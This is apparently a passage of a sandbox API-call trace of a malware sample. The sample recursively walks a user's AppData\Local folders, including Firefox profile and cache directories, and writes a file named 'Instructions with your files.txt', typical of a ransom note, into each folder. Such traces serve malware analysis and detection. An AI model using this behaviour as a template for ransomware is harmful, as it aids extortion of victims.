[0130.648] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
[0130.648] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini") returned 86
[0130.648] StrStrIW (lpFirst="Settings.ini", lpSrch="SDfghjkl") returned 0x0
[0130.648] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
[0130.648] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Instructions with your files.txt") returned 106
[0130.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.648] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.649] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.649] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.649] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.649] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.649] CloseHandle (hObject=0x118) returned 1
[0130.649] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.649] GetProcessHeap () returned 0x810000
[0130.649] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.649] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
[0130.649] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Instructions with your files.txt") returned 90
[0130.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.650] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.651] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.651] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.651] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.651] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.651] CloseHandle (hObject=0x114) returned 1
[0130.651] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.651] GetProcessHeap () returned 0x810000
[0130.651] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.651] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
[0130.651] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned 62
[0130.651] GetProcessHeap () returned 0x810000
[0130.651] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.651] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*") returned 64
[0130.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0130.652] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\.") returned 64
[0130.652] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.652] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\..") returned 65
[0130.652] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.652] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\Instructions with your files.txt") returned 95
[0130.652] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft help\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0130.653] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0130.653] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0130.654] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0130.654] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0130.654] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0130.654] CloseHandle (hObject=0x114) returned 1
[0130.654] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0130.654] GetProcessHeap () returned 0x810000
[0130.654] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x845bc0 | out: hHeap=0x810000) returned 1
[0130.654] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
[0130.654] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned 55
[0130.654] GetProcessHeap () returned 0x810000
[0130.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0130.654] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*") returned 57
[0130.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0130.654] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\.") returned 57
[0130.654] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.654] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\..") returned 58
[0130.654] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1
[0130.654] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned 63
[0130.654] GetProcessHeap () returned 0x810000
[0130.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.655] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*") returned 65
[0130.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.655] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\.") returned 65
[0130.655] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.656] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\..") returned 66
[0130.656] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
[0130.656] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 72
[0130.656] GetProcessHeap () returned 0x810000
[0130.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.656] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*") returned 74
[0130.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.656] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.") returned 74
[0130.656] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.656] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\..") returned 75
[0130.656] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1
[0130.656] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default") returned 89
[0130.656] GetProcessHeap () returned 0x810000
[0130.656] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.657] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*") returned 91
[0130.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.659] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\.") returned 91
[0130.659] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.659] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\..") returned 92
[0130.659] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
[0130.660] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache") returned 95
[0130.660] GetProcessHeap () returned 0x810000
[0130.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.660] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*") returned 97
[0130.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.662] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\.") returned 97
[0130.662] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.662] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\..") returned 98
